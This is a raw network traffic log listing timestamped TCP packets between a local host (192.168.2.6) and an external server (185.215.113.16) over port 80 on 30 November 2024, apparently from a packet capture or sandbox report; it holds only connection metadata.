Nov 30, 2024 04:12:29.463129044 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.463217020 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.463943005 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.463989019 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.464011908 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.464798927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.464840889 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.464894056 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.465661049 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.465711117 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.465744019 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.466505051 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.466551065 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.466604948 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.467401028 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.467448950 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.467487097 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.468235970 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.468286991 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.468308926 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.469115973 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.469155073 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.469191074 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.469979048 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.470026016 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.470102072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.470794916 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.470835924 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.470905066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.471673965 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.471745968 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.471756935 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.472524881 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.472577095 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.472635031 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.473386049 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.473432064 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.473474979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.474209070 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.474275112 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.474314928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.475074053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.475122929 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.475179911 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.475923061 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.475985050 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.476015091 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.476784945 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.476824045 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.476891041 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.521868944 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.633802891 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.633928061 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.633970022 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.634125948 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.634322882 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.634355068 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.634417057 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.635199070 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.635238886 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.635304928 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.636043072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.636081934 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.636147022 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.636914968 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.636951923 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.637023926 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.637770891 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.637809038 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.637870073 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.638611078 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.638649940 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.638706923 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.639471054 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.639506102 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.639585972 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.640335083 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.640397072 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.640438080 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.641181946 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.641230106 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.641278982 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.642051935 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.642086029 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.642119884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.642884016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.642925024 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.642982960 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.643764973 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.643821001 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.643867016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.644613028 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.644645929 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.644716978 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.645454884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.645517111 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.645548105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.646320105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.646358967 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.646408081 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.647206068 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.647244930 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.647300005 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.648030996 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.648066044 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.648135900 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.648895025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.648947954 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.649004936 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.649759054 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.649799109 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.649846077 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.650628090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.650666952 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.650731087 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.651468039 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.651505947 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.651674986 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.652322054 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.652364016 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.652429104 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.653162956 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.653198957 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.653280973 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.654045105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.654082060 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.654105902 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.654886961 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.654922962 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.654983044 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.655776024 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.655807018 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.655884027 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.656653881 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.656697035 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.656718969 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.657471895 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.657520056 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.657567978 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.658307076 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.658348083 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.658410072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.659204960 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.659240961 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.659394979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.660068035 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.660109997 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.660132885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.660887957 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.660926104 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.660970926 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.661751032 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.661786079 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.661849976 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.662604094 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.662650108 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.662687063 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.663477898 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.663522005 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.663551092 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.664323092 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.664405107 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.664433002 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.665158033 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.665196896 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.665258884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.666028023 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.666066885 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.666134119 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.666882038 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.666924953 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.666985035 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.667732954 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.667773008 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.667849064 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.668596029 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.668636084 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.668694973 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.669460058 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.669507027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.669594049 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.670305967 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.670355082 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.670392990 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.671156883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.671206951 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.671236038 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.672008038 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.672065973 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.672101974 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.672877073 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.672945023 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.672964096 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.673721075 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.673764944 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.673839092 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.674575090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.674623013 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.674676895 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.675453901 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.675498009 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.675537109 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.676321030 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.676358938 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.676403046 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.677162886 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.677207947 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.677520037 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.678041935 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.678078890 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.678103924 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.724984884 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.835145950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.835175037 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.835257053 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.835444927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.835663080 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.835700989 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.835711956 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.836486101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.836536884 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.836572886 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.837366104 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.837390900 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.837410927 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.838185072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.838222027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.838293076 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.839087009 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.839123964 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.839198112 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.839915991 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.839951992 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.840012074 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.840766907 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.840821028 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.840873003 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.841645002 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.841691971 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.841727018 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.842495918 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.842530966 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.842606068 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.843364000 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.843403101 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.843482971 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.844209909 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.844244957 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.844409943 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.845072985 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.845118999 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.845186949 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.845915079 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.845954895 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.846004009 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.846802950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.846843958 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.846877098 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.847635984 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.847682953 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.847750902 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.848496914 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.848604918 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.848612070 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.849347115 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.849389076 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.849441051 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.850193024 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.850229979 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.850286961 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.851063013 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.851104021 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.851129055 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.851927042 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.851964951 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.852000952 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.852781057 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.852826118 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.852870941 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.853634119 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.853686094 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.853708982 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.854484081 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.854522943 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.854566097 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.855339050 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.855379105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.855389118 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.856204987 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.856246948 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.856322050 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.857067108 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.857104063 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.857112885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.857903957 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.857944965 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.857973099 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.858752966 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.858864069 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.858886957 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.859618902 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.859654903 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.859704018 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.860488892 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.860522985 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.860606909 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.861345053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.861392975 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.861429930 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.862190008 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.862226009 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.862281084 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.863033056 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.863069057 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.863137007 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.863907099 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.863945007 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.863986015 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.864765882 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.864806890 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.864844084 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.865638018 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.865673065 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.865683079 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.866489887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.866528988 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.866560936 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.867356062 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.867409945 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.867446899 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.868227005 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.868263960 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.868278027 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.869045973 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.869091988 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.869157076 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.869905949 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.869950056 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:29.869977951 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:29.870748997 CET	80	49745	185.215.113.16	192.168.2.6
